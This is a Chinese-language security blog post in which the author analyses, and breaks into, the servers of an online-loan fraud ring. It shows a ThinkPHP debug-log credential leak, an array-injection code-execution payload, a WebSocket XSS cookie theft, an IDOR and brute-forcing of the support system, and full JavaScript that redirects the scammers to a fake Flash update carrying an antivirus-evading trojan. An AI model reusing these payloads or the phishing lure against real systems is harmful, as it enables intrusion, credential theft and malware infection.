針對網貸詐騙行業詐騙鏈分析
2021-10-08 7 min read
該文章首發先知社區:https://xz.aliyun.com/t/10391
一.概述
1.1某天,一位網上朋友告訴筆者,他被騙了。被騙方式很獨特,因為自己沒錢所以選擇貸款,在貸款過程中慘遭詐騙。
1.2詐騙短信:

1.3詐騙過程(此處受害者用小輝代替):
某日,小輝手機收到一條關于網絡貸款的短信,恰逢月底,捉襟見肘,小輝沒忍住誘惑下載打開了app。注冊好賬號,填寫好身份證號、手持、工作地點、家人信息等后申請了20000元貸款,但是遲遲沒到賬,小輝詢問客服得知:親,這邊申請貸款需要先繳納688的VIP費用哦,繳納后VIP費用會連同貸款金額一起打款到您的銀行卡賬戶。小輝想了想,也不虧,于是將下個月房租開通了VIP待遇。
小輝開通了VIP待遇,以為就能順利貸款度過月底,但是還是沒收到貸款金額以及VIP費用。這次客服主動聯系小輝,"您的信用額度不夠,需要再刷流水3500元,請繳納現金證明還款能力,繳納后費用會連同貸款金額一起打款到您的銀行卡賬戶"。
小輝急了,眼看著下個月房租沒著落了,咬咬牙找朋友借了3500元再次打給客服提供的銀行卡號,心想,這次你總沒什么借口了吧!20000塊錢,拿來吧你!小輝已經想好貸款下來兩萬塊如何吃喝玩樂了,857857~~~
可是幸運女神還是沒有照顧小輝,客服再次聯系小輝,稱已經審批成功即將下款,但是還需要支付3000的工本費用,且費用會連同貸款金額一起打款到銀行卡賬戶,小輝傻眼了,緊接著,客服將后臺生成的虛假的合同發送給了小輝。
小輝急了,自己就貸個款而已,卻損失了幾千塊錢還要上征信,關鍵貸款的錢還沒到手!小輝眼看著事情越鬧越大,找到了我,經過小輝的一番描述,我查看了小輝手機上的貸款軟件,無奈的告訴小輝,你被騙了,錢要不回來了。小輝此刻也愣住了,流下來悔恨的淚水......
ps:以上僅為詐騙真實過程,所有細節旁白均為本人添油加醋。筆者也就此對市面上兩款常見詐騙源碼進行簡單分析并將其記錄。
二.漏洞分析
2.1 第一套源碼漏洞分析
2.1.1 Thinkphp日志泄漏

基于Thinkphp3.2.3開發,前后臺分離

默認開啟Debug、導致泄漏日志SQL信息、異常緩存
構造Payload:App/Runtime/Logs/21_10_16.log
獲取泄漏的admin表賬號密碼
進入后臺


2.1.2 數組可控導致RCE
可上傳文件名被直接帶入數據包中

此處猜測后端將文件名以數組的方式進行控制(在拿到webshell后也證明了這個猜想是正確的)
將可上傳的文件名加入php,隨后上傳拿到Webshell
查看對應配置文件,發現可上傳后綴名是在數組當中,此處還可以利用插入閉合數組進行Getshell

payload:siteName=11111').phpinfo();//

來看看后端如何處理的,因為return array的原因 必須加上字符串連接符"."

再登陸后臺查看Payload是否執行

2.2 第二套源碼漏洞分析
2.2.1 客服處Websocket-XSS
筆者能力有限,第二套詐騙貸款源碼疑似一鍵搭建,均采用最新版寶塔+寶塔免費版WAF,在權限獲取方面不足,轉而向客服處尋找突破點
前臺:

找到客服入口,上傳圖片,會轉到通過websocket上傳的數據包
修改websocket數據包,構造XSS


Cookie Get

三.客服系統控制/PC控制
3.1控制數據庫
登陸mysql數據庫查看詐騙嫌疑人登陸IP

杭州的電信基站動態IP,判斷是家庭路由,暫無溯源價值。

3.2控制客服系統
第一套詐騙源碼的客服系統使用的是網上在線客服系統

在后臺翻到了客服的后臺登陸地址,前端顯示賬號存在or密碼錯誤,無奈賬號沒爆破成功。

隨即筆者自己注冊了該客服系統,通過adminid配合uid遍歷SetCookie,越權成功,拿到客服賬號。

中文賬號==

爆破拿到密碼

登陸客服后臺
整個詐騙話術鏈

與受害人聊天記錄


3.3使用flash釣魚
在控制詐騙app服務器權限后,筆者使用flash釣魚試圖控制詐騙團伙個人PC。
在后臺登陸成功后跳轉的文件插入跳轉js 跳轉到事先準備好的假的flash更新頁面
事先準備:免殺馬一只 flash假域名一個(最好是包含有"flash"的字樣)
<span style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;vertical-align: baseline;color: rgb(0, 134, 179);">window</span>.alert = <span style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;vertical-align: baseline;"><span style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;vertical-align: baseline;font-weight: bold;">function</span>(<span style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;vertical-align: baseline;">name</span>)</span>{<span style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;vertical-align: baseline;font-weight: bold;">var</span> iframe = <span style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;vertical-align: baseline;color: rgb(0, 134, 179);">document</span>.createElement(<span style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;vertical-align: baseline;color: rgb(221, 17, 68);">"IFRAME"</span>);iframe.style.display=<span style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;vertical-align: baseline;color: rgb(221, 17, 68);">"none"</span>;iframe.setAttribute(<span style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;vertical-align: baseline;color: rgb(221, 17, 68);">"src"</span>, <span style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;vertical-align: baseline;color: rgb(221, 17, 68);">'data:text/plain,'</span>);<span style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;vertical-align: baseline;color: rgb(0, 134, 179);">document</span>.documentElement.appendChild(iframe);<span style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;vertical-align: baseline;color: rgb(0, 134, 179);">window</span>.frames[<span style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;vertical-align: baseline;color: rgb(0, 128, 128);">0</span>].window.alert(name);iframe.parentNode.removeChild(iframe);};alert(<span style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;vertical-align: baseline;color: rgb(221, 17, 68);">"您的FLASH版本過低,請嘗試升級后訪問改頁面!"</span>);<span style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;vertical-align: baseline;color: rgb(0, 134, 179);">window</span>.location.href=<span style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;vertical-align: baseline;color: rgb(221, 17, 68);">"https://www.flashxxxx.com"</span>;<span style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;vertical-align: baseline;"><span style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;vertical-align: baseline;color: rgb(0, 0, 128);"></<span style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;vertical-align: baseline;">script</span>></span></span><br></code></pre><p style="box-sizing: border-box;margin-bottom: 1.12em;border-width: 0px;border-style: initial;border-color: initial;vertical-align: baseline;line-height: 1.62;letter-spacing: 0.05em;hyphens: auto;">效果:<br style="box-sizing: inherit;">輸入賬號密碼后登錄,此時加載以上JavaScript。<br style="box-sizing: inherit;"><img data-fileid="100003578" data-ratio="0.3810302534750613" src="https://mmbiz.qpic.cn/mmbiz_png/iar31WKQlTTowwG5Jl9xg0MQkvRR3EmA1zm3ntthpzeMAiarwSiaKJxQ16YL9qo85jZNjB3snaDPxlOvxRicLH6KCg/640?wx_fmt=png" data-type="png" data-w="2446" style="box-sizing: inherit;margin: 24px auto;border-width: 0px;border-style: initial;border-color: initial;vertical-align: baseline;display: block;box-shadow: rgb(238, 238, 238) 0px 0px 30px;border-radius: 2px;"><br style="box-sizing: inherit;">點擊"確認"跳轉到事先偽造的flash更新頁面網站,誘導下載點擊。<br style="box-sizing: inherit;"><img data-fileid="100003581" data-ratio="0.515422077922078" src="https://mmbiz.qpic.cn/mmbiz_png/iar31WKQlTTowwG5Jl9xg0MQkvRR3EmA1zJa9LZgOHPaH1p0q72pOxRaCEXnfy44sybibiaATbZFy0yWfHrAWKIjA/640?wx_fmt=png" data-type="png" data-w="2464" style="box-sizing: inherit;margin: 24px auto;border-width: 0px;border-style: initial;border-color: initial;vertical-align: baseline;display: block;box-shadow: rgb(238, 238, 238) 0px 0px 30px;border-radius: 2px;"><br style="box-sizing: inherit;">但是最后并未上線,通過日志發現詐騙團伙是登陸了該后臺的,此處也算是一個小遺憾。</p><h1 style="box-sizing: border-box;margin-top: 16px;margin-bottom: 16px;padding-top: 16px;border-width: 0px;border-style: initial;border-color: initial;vertical-align: baseline;font-weight: 700;font-size: 1.8em;">四.總結</h1><p style="box-sizing: border-box;margin-bottom: 1.12em;border-width: 0px;border-style: initial;border-color: initial;vertical-align: baseline;line-height: 1.62;letter-spacing: 0.05em;hyphens: auto;"> 網貸詐騙類案件的典型特征是,犯罪嫌疑人以“無抵押無審核”為噱頭招攬需要貸款的被害人,并以“賬戶凍結需做解凍”才能完成放款等名義收取保證金,又以保險費、激活費、服務費等名義再次收費。被害人為了收回之前繳納的錢款,只能按照犯罪嫌疑人為被害人設計的整個流程,完成轉款,導致被害人錢款被騙。一些急需用錢的個體經營者、消費觀念超前的上班族、大學生等人群是易受騙群體。<br style="box-sizing: inherit;"> 詐騙者不僅僅將罪惡之手伸向了香港、臺灣,甚至是國外......<br style="box-sizing: inherit;"> 據分析,這群詐騙團伙在巴西也進行了相同方式的詐騙,且使用的詐騙源碼為以上分析第一套源碼。</p>